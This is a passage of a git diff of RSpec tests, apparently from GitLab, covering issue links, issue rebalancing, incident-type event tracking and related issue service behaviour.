+ path: "/#{project.full_path}/-/issues/#{issue_b.iid}",
+ relation_path: "/#{project.full_path}/-/issues/#{issue.iid}/links/#{issue_link_a.id}"))
+
+ expect(subject).to include(include(id: issue_c.id,
+ title: issue_c.title,
+ state: issue_c.state,
+ reference: issue_c.to_reference(project),
+ path: "/#{project.full_path}/-/issues/#{issue_c.iid}",
+ relation_path: "/#{project.full_path}/-/issues/#{issue.iid}/links/#{issue_link_b.id}"))
+
+ expect(subject).to include(include(id: issue_d.id,
+ title: issue_d.title,
+ state: issue_d.state,
+ reference: issue_d.to_reference(project),
+ path: "/#{project.full_path}/-/issues/#{issue_d.iid}",
+ relation_path: "/#{project.full_path}/-/issues/#{issue.iid}/links/#{issue_link_c.id}"))
+ end
+ end
+
+ context 'referencing a public project issue' do
+ let(:public_project) { create :project, :public }
+ let(:issue_b) { create :issue, project: public_project }
+
+ let!(:issue_link) do
+ create(:issue_link, source: issue, target: issue_b)
+ end
+
+ it 'presents issue' do
+ expect(subject.size).to eq(1)
+ end
+ end
+
+ context 'referencing issue with removed relationships' do
+ context 'when referenced a deleted issue' do
+ let(:issue_b) { create :issue, project: project }
+ let!(:issue_link) do
+ create(:issue_link, source: issue, target: issue_b)
+ end
+
+ it 'ignores issue' do
+ issue_b.destroy!
+
+ is_expected.to eq([])
+ end
+ end
+
+ context 'when referenced an issue with deleted project' do
+ let(:issue_b) { create :issue, project: project }
+ let!(:issue_link) do
+ create(:issue_link, source: issue, target: issue_b)
+ end
+
+ it 'ignores issue' do
+ project.destroy!
+
+ is_expected.to eq([])
+ end
+ end
+
+ context 'when referenced an issue with deleted namespace' do
+ let(:issue_b) { create :issue, project: project }
+ let!(:issue_link) do
+ create(:issue_link, source: issue, target: issue_b)
+ end
+
+ it 'ignores issue' do
+ project.namespace.destroy!
+
+ is_expected.to eq([])
+ end
+ end
+ end
+
+ context 'user cannot see relations' do
+ context 'when user cannot see the referenced issue' do
+ let!(:issue_link) do
+ create(:issue_link, source: issue)
+ end
+
+ it 'returns an empty list' do
+ is_expected.to eq([])
+ end
+ end
+
+ context 'when user cannot see the issue that referenced' do
+ let!(:issue_link) do
+ create(:issue_link, target: issue)
+ end
+
+ it 'returns an empty list' do
+ is_expected.to eq([])
+ end
+ end
+ end
+
+ context 'remove relations' do
+ let!(:issue_link) do
+ create(:issue_link, source: issue, target: referenced_issue)
+ end
+
+ context 'user can admin related issues just on target project' do
+ let(:user_role) { :guest }
+ let(:target_project) { create :project }
+ let(:referenced_issue) { create :issue, project: target_project }
+
+ it 'returns no destroy relation path' do
+ target_project.add_developer(user)
+
+ expect(subject.first[:relation_path]).to be_nil
+ end
+ end
+
+ context 'user can admin related issues just on source project' do
+ let(:user_role) { :developer }
+ let(:target_project) { create :project }
+ let(:referenced_issue) { create :issue, project: target_project }
+
+ it 'returns no destroy relation path' do
+ target_project.add_guest(user)
+
+ expect(subject.first[:relation_path]).to be_nil
+ end
+ end
+
+ context 'when user can admin related issues on both projects' do
+ let(:referenced_issue) { create :issue, project: project }
+
+ it 'returns related issue destroy relation path' do
+ expect(subject.first[:relation_path])
+ .to eq("/#{project.full_path}/-/issues/#{issue.iid}/links/#{issue_link.id}")
+ end
+ end
+ end
+ end
+end
diff --git a/spec/services/issue_rebalancing_service_spec.rb b/spec/services/issue_rebalancing_service_spec.rb
new file mode 100644
index 00000000000..94f594c8083
--- /dev/null
+++ b/spec/services/issue_rebalancing_service_spec.rb
@@ -0,0 +1,101 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe IssueRebalancingService do
+ let_it_be(:project) { create(:project) }
+ let_it_be(:user) { project.creator }
+ let_it_be(:start) { RelativePositioning::START_POSITION }
+ let_it_be(:max_pos) { RelativePositioning::MAX_POSITION }
+ let_it_be(:min_pos) { RelativePositioning::MIN_POSITION }
+ let_it_be(:clump_size) { 300 }
+
+ let_it_be(:unclumped) do
+ (0..clump_size).to_a.map do |i|
+ create(:issue, project: project, author: user, relative_position: start + (1024 * i))
+ end
+ end
+
+ let_it_be(:end_clump) do
+ (0..clump_size).to_a.map do |i|
+ create(:issue, project: project, author: user, relative_position: max_pos - i)
+ end
+ end
+
+ let_it_be(:start_clump) do
+ (0..clump_size).to_a.map do |i|
+ create(:issue, project: project, author: user, relative_position: min_pos + i)
+ end
+ end
+
+ def issues_in_position_order
+ project.reload.issues.reorder(relative_position: :asc).to_a
+ end
+
+ it 'rebalances a set of issues with clumps at the end and start' do
+ all_issues = start_clump + unclumped + end_clump.reverse
+ service = described_class.new(project.issues.first)
+
+ expect { service.execute }.not_to change { issues_in_position_order.map(&:id) }
+
+ all_issues.each(&:reset)
+
+ gaps = all_issues.take(all_issues.count - 1).zip(all_issues.drop(1)).map do |a, b|
+ b.relative_position - a.relative_position
+ end
+
+ expect(gaps).to all(be > RelativePositioning::MIN_GAP)
+ expect(all_issues.first.relative_position).to be > (RelativePositioning::MIN_POSITION * 0.9999)
+ expect(all_issues.last.relative_position).to be < (RelativePositioning::MAX_POSITION * 0.9999)
+ end
+
+ it 'is idempotent' do
+ service = described_class.new(project.issues.first)
+
+ expect do
+ service.execute
+ service.execute
+ end.not_to change { issues_in_position_order.map(&:id) }
+ end
+
+ it 'does nothing if the feature flag is disabled' do
+ stub_feature_flags(rebalance_issues: false)
+ issue = project.issues.first
+ issue.project
+ issue.project.group
+ old_pos = issue.relative_position
+
+ service = described_class.new(issue)
+
+ expect { service.execute }.not_to exceed_query_limit(0)
+ expect(old_pos).to eq(issue.reload.relative_position)
+ end
+
+ it 'acts if the flag is enabled for the project' do
+ issue = create(:issue, project: project, author: user, relative_position: max_pos)
+ stub_feature_flags(rebalance_issues: issue.project)
+
+ service = described_class.new(issue)
+
+ expect { service.execute }.to change { issue.reload.relative_position }
+ end
+
+ it 'acts if the flag is enabled for the group' do
+ issue = create(:issue, project: project, author: user, relative_position: max_pos)
+ project.update!(group: create(:group))
+ stub_feature_flags(rebalance_issues: issue.project.group)
+
+ service = described_class.new(issue)
+
+ expect { service.execute }.to change { issue.reload.relative_position }
+ end
+
+ it 'aborts if there are too many issues' do
+ issue = project.issues.first
+ base = double(count: 10_001)
+
+ allow(Issue).to receive(:relative_positioning_query_base).with(issue).and_return(base)
+
+ expect { described_class.new(issue).execute }.to raise_error(described_class::TooManyIssues)
+ end
+end
diff --git a/spec/services/issues/close_service_spec.rb b/spec/services/issues/close_service_spec.rb
index 7ca7d3be99c..4db6e5cac12 100644
--- a/spec/services/issues/close_service_spec.rb
+++ b/spec/services/issues/close_service_spec.rb
@@ -67,6 +67,15 @@ RSpec.describe Issues::CloseService do
service.execute(issue)
end
+
+ context 'issue is incident type' do
+ let(:issue) { create(:incident, project: project) }
+ let(:current_user) { user }
+
+ subject { service.execute(issue) }
+
+ it_behaves_like 'an incident management tracked event', :incident_management_incident_closed
+ end
end
describe '#close_issue' do
@@ -288,7 +297,7 @@ RSpec.describe Issues::CloseService do
end
it 'deletes milestone issue counters cache' do
- issue.update(milestone: create(:milestone, project: project))
+ issue.update!(milestone: create(:milestone, project: project))
expect_next_instance_of(Milestones::ClosedIssuesCountService, issue.milestone) do |service|
expect(service).to receive(:delete_cache).and_call_original
diff --git a/spec/services/issues/create_service_spec.rb b/spec/services/issues/create_service_spec.rb
index fdf2326b75e..e09a7faece5 100644
--- a/spec/services/issues/create_service_spec.rb
+++ b/spec/services/issues/create_service_spec.rb
@@ -3,18 +3,18 @@
require 'spec_helper'
RSpec.describe Issues::CreateService do
- let(:project) { create(:project) }
- let(:user) { create(:user) }
+ let_it_be_with_reload(:project) { create(:project) }
+ let_it_be(:user) { create(:user) }
describe '#execute' do
+ let_it_be(:assignee) { create(:user) }
+ let_it_be(:milestone) { create(:milestone, project: project) }
let(:issue) { described_class.new(project, user, opts).execute }
- let(:assignee) { create(:user) }
- let(:milestone) { create(:milestone, project: project) }
context 'when params are valid' do
- let(:labels) { create_pair(:label, project: project) }
+ let_it_be(:labels) { create_pair(:label, project: project) }
- before do
+ before_all do
project.add_maintainer(user)
project.add_maintainer(assignee)
end
@@ -29,6 +29,8 @@ RSpec.describe Issues::CreateService do
end
it 'creates the issue with the given params' do
+ expect(Issuable::CommonSystemNotesService).to receive_message_chain(:new, :execute)
+
expect(issue).to be_persisted
expect(issue.title).to eq('Awesome issue')
expect(issue.assignees).to eq [assignee]
@@ -37,14 +39,55 @@ RSpec.describe Issues::CreateService do
expect(issue.due_date).to eq Date.tomorrow
end
+ context 'when skip_system_notes is true' do
+ let(:issue) { described_class.new(project, user, opts).execute(skip_system_notes: true) }
+
+ it 'does not call Issuable::CommonSystemNotesService' do
+ expect(Issuable::CommonSystemNotesService).not_to receive(:new)
+
+ issue
+ end
+ end
+
+ it_behaves_like 'not an incident issue'
+
+ context 'issue is incident type' do
+ before do
+ opts.merge!(issue_type: 'incident')
+ end
+
+ let(:current_user) { user }
+ let(:incident_label_attributes) { attributes_for(:label, :incident) }
+
+ subject { issue }
+
+ it_behaves_like 'incident issue'
+ it_behaves_like 'an incident management tracked event', :incident_management_incident_created
+
+ it 'does create an incident label' do
+ expect { subject }
+ .to change { Label.where(incident_label_attributes).count }.by(1)
+ end
+
+ context 'when invalid' do
+ before do
+ opts.merge!(title: '')
+ end
+
+ it 'does not create an incident label prematurely' do
+ expect { subject }.not_to change(Label, :count)
+ end
+ end
+ end
+
it 'refreshes the number of open issues', :use_clean_rails_memory_store_caching do
expect { issue }.to change { project.open_issues_count }.from(0).to(1)
end
context 'when current user cannot admin issues in the project' do
- let(:guest) { create(:user) }
+ let_it_be(:guest) { create(:user) }
- before do
+ before_all do
project.add_guest(guest)
end
@@ -75,6 +118,12 @@ RSpec.describe Issues::CreateService do
expect(Todo.where(attributes).count).to eq 1
end
+ it 'moves the issue to the end, in an asynchronous worker' do
+ expect(IssuePlacementWorker).to receive(:perform_async).with(be_nil, Integer)
+
+ described_class.new(project, user, opts).execute
+ end
+
context 'when label belongs to project group' do
let(:group) { create(:group) }
let(:group_labels) { create_pair(:group_label, group: group) }
@@ -88,7 +137,7 @@ RSpec.describe Issues::CreateService do
end
before do
- project.update(group: group)
+ project.update!(group: group)
end
it 'assigns group labels' do
@@ -233,7 +282,7 @@ RSpec.describe Issues::CreateService do
context 'issue create service' do
context 'assignees' do
- before do
+ before_all do
project.add_maintainer(user)
end
@@ -264,7 +313,7 @@ RSpec.describe Issues::CreateService do
context "when issuable feature is private" do
before do
- project.project_feature.update(issues_access_level: ProjectFeature::PRIVATE,
+ project.project_feature.update!(issues_access_level: ProjectFeature::PRIVATE,
merge_requests_access_level: ProjectFeature::PRIVATE)
end
@@ -272,7 +321,7 @@ RSpec.describe Issues::CreateService do
levels.each do |level|
it "removes not authorized assignee when project is #{Gitlab::VisibilityLevel.level_name(level)}" do
- project.update(visibility_level: level)
+ project.update!(visibility_level: level)
opts = { title: 'Title', description: 'Description', assignee_ids: [assignee.id] }
issue = described_class.new(project, user, opts).execute
@@ -299,7 +348,7 @@ RSpec.describe Issues::CreateService do
}
end
- before do
+ before_all do
project.add_maintainer(user)
project.add_maintainer(assignee)
end
@@ -313,11 +362,11 @@ RSpec.describe Issues::CreateService do
end
context 'resolving discussions' do
- let(:discussion) { create(:diff_note_on_merge_request).to_discussion }
- let(:merge_request) { discussion.noteable }
- let(:project) { merge_request.source_project }
+ let_it_be(:discussion) { create(:diff_note_on_merge_request).to_discussion }
+ let_it_be(:merge_request) { discussion.noteable }
+ let_it_be(:project) { merge_request.source_project }
- before do
+ before_all do
project.add_maintainer(user)
end
diff --git a/spec/services/issues/duplicate_service_spec.rb b/spec/services/issues/duplicate_service_spec.rb
index 78e030e6ac7..0b5bc3f32ef 100644
--- a/spec/services/issues/duplicate_service_spec.rb
+++ b/spec/services/issues/duplicate_service_spec.rb
@@ -83,6 +83,17 @@ RSpec.describe Issues::DuplicateService do
expect(duplicate_issue.reload.duplicated_to).to eq(canonical_issue)
end
+
+ it 'relates the duplicate issues' do
+ canonical_project.add_reporter(user)
+ duplicate_project.add_reporter(user)
+
+ subject.execute(duplicate_issue, canonical_issue)
+
+ issue_link = IssueLink.last
+ expect(issue_link.source).to eq(duplicate_issue)
+ expect(issue_link.target).to eq(canonical_issue)
+ end
end
end
end
diff --git a/spec/services/issues/export_csv_service_spec.rb b/spec/services/issues/export_csv_service_spec.rb
index 76381fe525b..8072b7a478e 100644
--- a/spec/services/issues/export_csv_service_spec.rb
+++ b/spec/services/issues/export_csv_service_spec.rb
@@ -38,8 +38,8 @@ RSpec.describe Issues::ExportCsvService do
before do
# Creating a timelog touches the updated_at timestamp of issue,
# so create these first.
- issue.timelogs.create(time_spent: 360, user: user)
- issue.timelogs.create(time_spent: 200, user: user)
+ issue.timelogs.create!(time_spent: 360, user: user)
+ issue.timelogs.create!(time_spent: 200, user: user)
issue.update!(milestone: milestone,
assignees: [user],
description: 'Issue with details',
diff --git a/spec/services/issues/move_service_spec.rb b/spec/services/issues/move_service_spec.rb
index 5f944d1213b..c2989dc86cf 100644
--- a/spec/services/issues/move_service_spec.rb
+++ b/spec/services/issues/move_service_spec.rb
@@ -101,6 +101,41 @@ RSpec.describe Issues::MoveService do
end
end
+ context 'issue with milestone' do
+ let(:milestone) { create(:milestone, group: sub_group_1) }
+ let(:new_project) { create(:project, namespace: sub_group_1) }
+
+ let(:old_issue) do
+ create(:issue, title: title, description: description, project: old_project, author: author, milestone: milestone)
+ end
+
+ before do
+ create(:resource_milestone_event, issue: old_issue, milestone: milestone, action: :add)
+ end
+
+ it 'does not create extra milestone events' do
+ new_issue = move_service.execute(old_issue, new_project)
+
+ expect(new_issue.resource_milestone_events.count).to eq(old_issue.resource_milestone_events.count)
+ end
+ end
+
+ context 'issue with due date' do
+ let(:old_issue) do
+ create(:issue, title: title, description: description, project: old_project, author: author, due_date: '2020-01-10')
+ end
+
+ before do
+ SystemNoteService.change_due_date(old_issue, old_project, author, old_issue.due_date)
+ end
+
+ it 'does not create extra system notes' do
+ new_issue = move_service.execute(old_issue, new_project)
+
+ expect(new_issue.notes.count).to eq(old_issue.notes.count)
+ end
+ end
+
context 'issue with assignee' do
let_it_be(:assignee) { create(:user) }
@@ -223,6 +258,45 @@ RSpec.describe Issues::MoveService do
end
end
+ describe '#rewrite_related_issues' do
+ include_context 'user can move issue'
+
+ let(:admin) { create(:admin) }
+ let(:authorized_project) { create(:project) }
+ let(:authorized_project2) { create(:project) }
+ let(:unauthorized_project) { create(:project) }
+
+ let(:authorized_issue_b) { create(:issue, project: authorized_project) }
+ let(:authorized_issue_c) { create(:issue, project: authorized_project2) }
+ let(:authorized_issue_d) { create(:issue, project: authorized_project2) }
+ let(:unauthorized_issue) { create(:issue, project: unauthorized_project) }
+
+ let!(:issue_link_a) { create(:issue_link, source: old_issue, target: authorized_issue_b) }
+ let!(:issue_link_b) { create(:issue_link, source: old_issue, target: unauthorized_issue) }
+ let!(:issue_link_c) { create(:issue_link, source: old_issue, target: authorized_issue_c) }
+ let!(:issue_link_d) { create(:issue_link, source: authorized_issue_d, target: old_issue) }
+
+ before do
+ authorized_project.add_developer(user)
+ authorized_project2.add_developer(user)
+ end
+
+ context 'multiple related issues' do
+ it 'moves all related issues and retains permissions' do
+ new_issue = move_service.execute(old_issue, new_project)
+
+ expect(new_issue.related_issues(admin))
+ .to match_array([authorized_issue_b, authorized_issue_c, authorized_issue_d, unauthorized_issue])
+
+ expect(new_issue.related_issues(user))
+ .to match_array([authorized_issue_b, authorized_issue_c, authorized_issue_d])
+
+ expect(authorized_issue_d.related_issues(user))
+ .to match_array([new_issue])
+ end
+ end
+ end
+
context 'updating sent notifications' do
let!(:old_issue_notification_1) { create(:sent_notification, project: old_issue.project, noteable: old_issue) }
let!(:old_issue_notification_2) { create(:sent_notification, project: old_issue.project, noteable: old_issue) }
diff --git a/spec/services/issues/related_branches_service_spec.rb b/spec/services/issues/related_branches_service_spec.rb
index d79132d98db..1780023803a 100644
--- a/spec/services/issues/related_branches_service_spec.rb
+++ b/spec/services/issues/related_branches_service_spec.rb
@@ -57,7 +57,7 @@ RSpec.describe Issues::RelatedBranchesService do
unreadable_branch_name => unreadable_pipeline
}.each do |name, pipeline|
allow(repo).to receive(:find_branch).with(name).and_return(make_branch)
- allow(project).to receive(:pipeline_for).with(name, sha).and_return(pipeline)
+ allow(project).to receive(:latest_pipeline).with(name, sha).and_return(pipeline)
end
allow(repo).to receive(:find_branch).with(missing_branch).and_return(nil)
diff --git a/spec/services/issues/reopen_service_spec.rb b/spec/services/issues/reopen_service_spec.rb
index f7416203259..ffe74cca9cf 100644
--- a/spec/services/issues/reopen_service_spec.rb
+++ b/spec/services/issues/reopen_service_spec.rb
@@ -44,7 +44,7 @@ RSpec.describe Issues::ReopenService do
end
it 'deletes milestone issue counters cache' do
- issue.update(milestone: create(:milestone, project: project))
+ issue.update!(milestone: create(:milestone, project: project))
expect_next_instance_of(Milestones::ClosedIssuesCountService, issue.milestone) do |service|
expect(service).to receive(:delete_cache).and_call_original
@@ -53,6 +53,15 @@ RSpec.describe Issues::ReopenService do
described_class.new(project, user).execute(issue)
end
+ context 'issue is incident type' do
+ let(:issue) { create(:incident, :closed, project: project) }
+ let(:current_user) { user }
+
+ subject { described_class.new(project, user).execute(issue) }
+
+ it_behaves_like 'an incident management tracked event', :incident_management_incident_reopened
+ end
+
context 'when issue is not confidential' do
it 'executes issue hooks' do
expect(project).to receive(:execute_hooks).with(an_instance_of(Hash), :issue_hooks)
diff --git a/spec/services/issues/reorder_service_spec.rb b/spec/services/issues/reorder_service_spec.rb
index b6ad488a48c..78b937a1caf 100644
--- a/spec/services/issues/reorder_service_spec.rb
+++ b/spec/services/issues/reorder_service_spec.rb
@@ -3,9 +3,9 @@
require 'spec_helper'
RSpec.describe Issues::ReorderService do
- let_it_be(:user) { create(:user) }
- let_it_be(:project) { create(:project) }
+ let_it_be(:user) { create_default(:user) }
let_it_be(:group) { create(:group) }
+ let_it_be(:project, reload: true) { create(:project, namespace: group) }
shared_examples 'issues reorder service' do
context 'when reordering issues' do
@@ -14,7 +14,7 @@ RSpec.describe Issues::ReorderService do
end
it 'returns false with both invalid params' do
- params = { move_after_id: nil, move_before_id: 1 }
+ params = { move_after_id: nil, move_before_id: non_existing_record_id }
expect(service(params).execute(issue1)).to be_falsey
end
@@ -27,27 +27,39 @@ RSpec.describe Issues::ReorderService do
expect(issue1.relative_position)
.to be_between(issue2.relative_position, issue3.relative_position)
end
+
+ it 'sorts issues if only given one neighbour, on the left' do
+ params = { move_before_id: issue3.id }
+
+ service(params).execute(issue1)
+
+ expect(issue1.relative_position).to be > issue3.relative_position
+ end
+
+ it 'sorts issues if only given one neighbour, on the right' do
+ params = { move_after_id: issue1.id }
+
+ service(params).execute(issue3)
+
+ expect(issue3.relative_position).to be < issue1.relative_position
+ end
end
end
describe '#execute' do
- let(:issue1) { create(:issue, project: project, relative_position: 10) }
- let(:issue2) { create(:issue, project: project, relative_position: 20) }
- let(:issue3) { create(:issue, project: project, relative_position: 30) }
+ let_it_be(:issue1, reload: true) { create(:issue, project: project, relative_position: 10) }
+ let_it_be(:issue2) { create(:issue, project: project, relative_position: 20) }
+ let_it_be(:issue3, reload: true) { create(:issue, project: project, relative_position: 30) }
context 'when ordering issues in a project' do
- let(:parent) { project }
-
before do
- parent.add_developer(user)
+ project.add_developer(user)
end
it_behaves_like 'issues reorder service'
end
context 'when ordering issues in a group' do
- let(:project) { create(:project, namespace: group) }
-
before do
group.add_developer(user)
end
diff --git a/spec/services/issues/resolve_discussions_spec.rb b/spec/services/issues/resolve_discussions_spec.rb
index a541d92feb2..9fbc9cbcca6 100644
--- a/spec/services/issues/resolve_discussions_spec.rb
+++ b/spec/services/issues/resolve_discussions_spec.rb
@@ -79,7 +79,7 @@ RSpec.describe Issues::ResolveDiscussions do
noteable: merge_request,
project: merge_request.target_project,
line_number: 15
- )])
+ )])
service = DummyService.new(
project,
user,
diff --git a/spec/services/issues/update_service_spec.rb b/spec/services/issues/update_service_spec.rb
index 42452e95f6b..f0092c35fda 100644
--- a/spec/services/issues/update_service_spec.rb
+++ b/spec/services/issues/update_service_spec.rb
@@ -52,7 +52,8 @@ RSpec.describe Issues::UpdateService, :mailer do
state_event: 'close',
label_ids: [label.id],
due_date: Date.tomorrow,
- discussion_locked: true
+ discussion_locked: true,
+ severity: 'low'
}
end
@@ -71,6 +72,51 @@ RSpec.describe Issues::UpdateService, :mailer do
expect(issue.discussion_locked).to be_truthy
end
+ context 'when issue type is not incident' do
+ it 'returns default severity' do
+ update_issue(opts)
+
+ expect(issue.severity).to eq(IssuableSeverity::DEFAULT)
+ end
+
+ it_behaves_like 'not an incident issue' do
+ before do
+ update_issue(opts)
+ end
+ end
+ end
+
+ context 'when issue type is incident' do
+ let(:issue) { create(:incident, project: project) }
+
+ it 'changes updates the severity' do
+ update_issue(opts)
+
+ expect(issue.severity).to eq('low')
+ end
+
+ it_behaves_like 'incident issue' do
+ before do
+ update_issue(opts)
+ end
+ end
+
+ context 'with existing incident label' do
+ let_it_be(:incident_label) { create(:label, :incident, project: project) }
+
+ before do
+ opts.delete(:label_ids) # don't override but retain existing labels
+ issue.labels << incident_label
+ end
+
+ it_behaves_like 'incident issue' do
+ before do
+ update_issue(opts)
+ end
+ end
+ end
+ end
+
it 'refreshes the number of open issues when the issue is made confidential', :use_clean_rails_memory_store_caching do
issue # make sure the issue is created first so our counts are correct.
@@ -93,6 +139,40 @@ RSpec.describe Issues::UpdateService, :mailer do
update_issue(confidential: false)
end
+ context 'issue in incident type' do
+ let(:current_user) { user }
+ let(:incident_label_attributes) { attributes_for(:label, :incident) }
+
+ before do
+ opts.merge!(issue_type: 'incident', confidential: true)
+ end
+
+ subject { update_issue(opts) }
+
+ it_behaves_like 'an incident management tracked event', :incident_management_incident_change_confidential
+
+ it_behaves_like 'incident issue' do
+ before do
+ subject
+ end
+ end
+
+ it 'does create an incident label' do
+ expect { subject }
+ .to change { Label.where(incident_label_attributes).count }.by(1)
+ end
+
+ context 'when invalid' do
+ before do
+ opts.merge!(title: '')
+ end
+
+ it 'does not create an incident label prematurely' do
+ expect { subject }.not_to change(Label, :count)
+ end
+ end
+ end
+
it 'updates open issue counter for assignees when issue is reassigned' do
update_issue(assignee_ids: [user2.id])
@@ -106,7 +186,7 @@ RSpec.describe Issues::UpdateService, :mailer do
[issue, issue1, issue2].each do |issue|
issue.move_to_end
- issue.save
+ issue.save!
end
opts[:move_between_ids] = [issue1.id, issue2.id]
@@ -116,6 +196,66 @@ RSpec.describe Issues::UpdateService, :mailer do
expect(issue.relative_position).to be_between(issue1.relative_position, issue2.relative_position)
end
+ it 'does not rebalance even if needed if the flag is disabled' do
+ stub_feature_flags(rebalance_issues: false)
+
+ range = described_class::NO_REBALANCING_NEEDED
+ issue1 = create(:issue, project: project, relative_position: range.first - 100)
+ issue2 = create(:issue, project: project, relative_position: range.first)
+ issue.update!(relative_position: RelativePositioning::START_POSITION)
+
+ opts[:move_between_ids] = [issue1.id, issue2.id]
+
+ expect(IssueRebalancingWorker).not_to receive(:perform_async)
+
+ update_issue(opts)
+ expect(issue.relative_position).to be_between(issue1.relative_position, issue2.relative_position)
+ end
+
+ it 'rebalances if needed if the flag is enabled for the project' do
+ stub_feature_flags(rebalance_issues: project)
+
+ range = described_class::NO_REBALANCING_NEEDED
+ issue1 = create(:issue, project: project, relative_position: range.first - 100)
+ issue2 = create(:issue, project: project, relative_position: range.first)
+ issue.update!(relative_position: RelativePositioning::START_POSITION)
+
+ opts[:move_between_ids] = [issue1.id, issue2.id]
+
+ expect(IssueRebalancingWorker).to receive(:perform_async).with(nil, project.id)
+
+ update_issue(opts)
+ expect(issue.relative_position).to be_between(issue1.relative_position, issue2.relative_position)
+ end
+
+ it 'rebalances if needed on the left' do
+ range = described_class::NO_REBALANCING_NEEDED
+ issue1 = create(:issue, project: project, relative_position: range.first - 100)
+ issue2 = create(:issue, project: project, relative_position: range.first)
+ issue.update!(relative_position: RelativePositioning::START_POSITION)
+
+ opts[:move_between_ids] = [issue1.id, issue2.id]
+
+ expect(IssueRebalancingWorker).to receive(:perform_async).with(nil, project.id)
+
+ update_issue(opts)
+ expect(issue.relative_position).to be_between(issue1.relative_position, issue2.relative_position)
+ end
+
+ it 'rebalances if needed on the right' do
+ range = described_class::NO_REBALANCING_NEEDED
+ issue1 = create(:issue, project: project, relative_position: range.last)
+ issue2 = create(:issue, project: project, relative_position: range.last + 100)
+ issue.update!(relative_position: RelativePositioning::START_POSITION)
+
+ opts[:move_between_ids] = [issue1.id, issue2.id]
+
+ expect(IssueRebalancingWorker).to receive(:perform_async).with(nil, project.id)
+
+ update_issue(opts)
+ expect(issue.relative_position).to be_between(issue1.relative_position, issue2.relative_position)
+ end
+
context 'when moving issue between issues from different projects' do
let(:group) { create(:group) }
let(:subgroup) { create(:group, parent: group) }
@@ -294,7 +434,7 @@ RSpec.describe Issues::UpdateService, :mailer do
end
it 'does not update assignee_id with unauthorized users' do
- project.update(visibility_level: Gitlab::VisibilityLevel::PUBLIC)
+ project.update!(visibility_level: Gitlab::VisibilityLevel::PUBLIC)
update_issue(confidential: true)
non_member = create(:user)
original_assignees = issue.assignees
@@ -382,13 +522,16 @@ RSpec.describe Issues::UpdateService, :mailer do
expect(Todo.where(attributes).count).to eq(1)
end
- end
- context 'when the milestone is removed' do
- before do
- stub_feature_flags(track_resource_milestone_change_events: false)
+ context 'issue is incident type' do
+ let(:issue) { create(:incident, project: project) }
+ let(:current_user) { user }
+
+ it_behaves_like 'an incident management tracked event', :incident_management_incident_assigned
end
+ end
+ context 'when the milestone is removed' do
let!(:non_subscriber) { create(:user) }
let!(:subscriber) do
@@ -398,12 +541,10 @@ RSpec.describe Issues::UpdateService, :mailer do
end
end
- it_behaves_like 'system notes for milestones'
-
it 'sends notifications for subscribers of changed milestone', :sidekiq_might_not_need_inline do
issue.milestone = create(:milestone, project: project)
- issue.save
+ issue.save!
perform_enqueued_jobs do
update_issue(milestone_id: "")
@@ -416,7 +557,7 @@ RSpec.describe Issues::UpdateService, :mailer do
it 'clears milestone issue counters cache' do
issue.milestone = create(:milestone, project: project)
- issue.save
+ issue.save!
expect_next_instance_of(Milestones::IssuesCountService, issue.milestone) do |service|
expect(service).to receive(:delete_cache).and_call_original
@@ -430,10 +571,6 @@ RSpec.describe Issues::UpdateService, :mailer do
end
context 'when the milestone is assigned' do
- before do
- stub_feature_flags(track_resource_milestone_change_events: false)
- end
-
let!(:non_subscriber) { create(:user) }
let!(:subscriber) do
@@ -449,8 +586,6 @@ RSpec.describe Issues::UpdateService, :mailer do
expect(todo.reload.done?).to eq true
end
- it_behaves_like 'system notes for milestones'
-
it 'sends notifications for subscribers of changed milestone', :sidekiq_might_not_need_inline do
perform_enqueued_jobs do
update_issue(milestone: create(:milestone, project: project))
@@ -670,7 +805,7 @@ RSpec.describe Issues::UpdateService, :mailer do
let(:params) { { label_ids: [label.id], add_label_ids: [label3.id] } }
before do
- issue.update(labels: [label2])
+ issue.update!(labels: [label2])
end
it 'replaces the labels with the ones in label_ids and adds those in add_label_ids' do
@@ -682,7 +817,7 @@ RSpec.describe Issues::UpdateService, :mailer do
let(:params) { { label_ids: [label.id, label2.id, label3.id], remove_label_ids: [label.id] } }
before do
- issue.update(labels: [label, label3])
+ issue.update!(labels: [label, label3])
end
it 'replaces the labels with the ones in label_ids and removes those in remove_label_ids' do
@@ -694,7 +829,7 @@ RSpec.describe Issues::UpdateService, :mailer do
let(:params) { { add_label_ids: [label3.id], remove_label_ids: [label.id] } }
before do
- issue.update(labels: [label])
+ issue.update!(labels: [label])
end
it 'adds the passed labels' do
@@ -711,7 +846,7 @@ RSpec.describe Issues::UpdateService, :mailer do
context 'for a label assigned to an issue' do
it 'removes the label' do
- issue.update(labels: [label])
+ issue.update!(labels: [label])
expect(result.label_ids).to be_empty
end
@@ -760,7 +895,7 @@ RSpec.describe Issues::UpdateService, :mailer do
levels.each do |level|
it "does not update with unauthorized assignee when project is #{Gitlab::VisibilityLevel.level_name(level)}" do
assignee = create(:user)
- project.update(visibility_level: level)
+ project.update!(visibility_level: level)
feature_visibility_attr = :"#{issue.model_name.plural}_access_level"
project.project_feature.update_attribute(feature_visibility_attr, ProjectFeature::PRIVATE)
diff --git a/spec/services/issues/zoom_link_service_spec.rb b/spec/services/issues/zoom_link_service_spec.rb
index 56aec4fe564..b095cb24212 100644
--- a/spec/services/issues/zoom_link_service_spec.rb
+++ b/spec/services/issues/zoom_link_service_spec.rb
@@ -82,6 +82,13 @@ RSpec.describe Issues::ZoomLinkService do
include_examples 'can add meeting'
+ context 'issue is incident type' do
+ let(:issue) { create(:incident) }
+ let(:current_user) { user }
+
+ it_behaves_like 'an incident management tracked event', :incident_management_incident_zoom_meeting
+ end
+
context 'with insufficient issue update permissions' do
include_context 'insufficient issue update permissions'
include_examples 'cannot add meeting'
diff --git a/spec/services/jira/requests/projects/list_service_spec.rb b/spec/services/jira/requests/projects/list_service_spec.rb
index b4db77f8104..415dd42c795 100644
--- a/spec/services/jira/requests/projects/list_service_spec.rb
+++ b/spec/services/jira/requests/projects/list_service_spec.rb
@@ -69,7 +69,7 @@ RSpec.describe Jira::Requests::Projects::ListService do
expect(client).to receive(:get).and_return([{ 'key' => 'pr1', 'name' => 'First Project' }, { 'key' => 'pr2', 'name' => 'Second Project' }])
end
- it 'returns a paylod with Jira projets' do
+ it 'returns a paylod with Jira projects' do
payload = subject.payload
expect(subject.success?).to be_truthy
@@ -80,7 +80,7 @@ RSpec.describe Jira::Requests::Projects::ListService do
context 'when filtering projects by name' do
let(:params) { { query: 'first' } }
- it 'returns a paylod with Jira projets' do
+ it 'returns a paylod with Jira procjets' do
payload = subject.payload
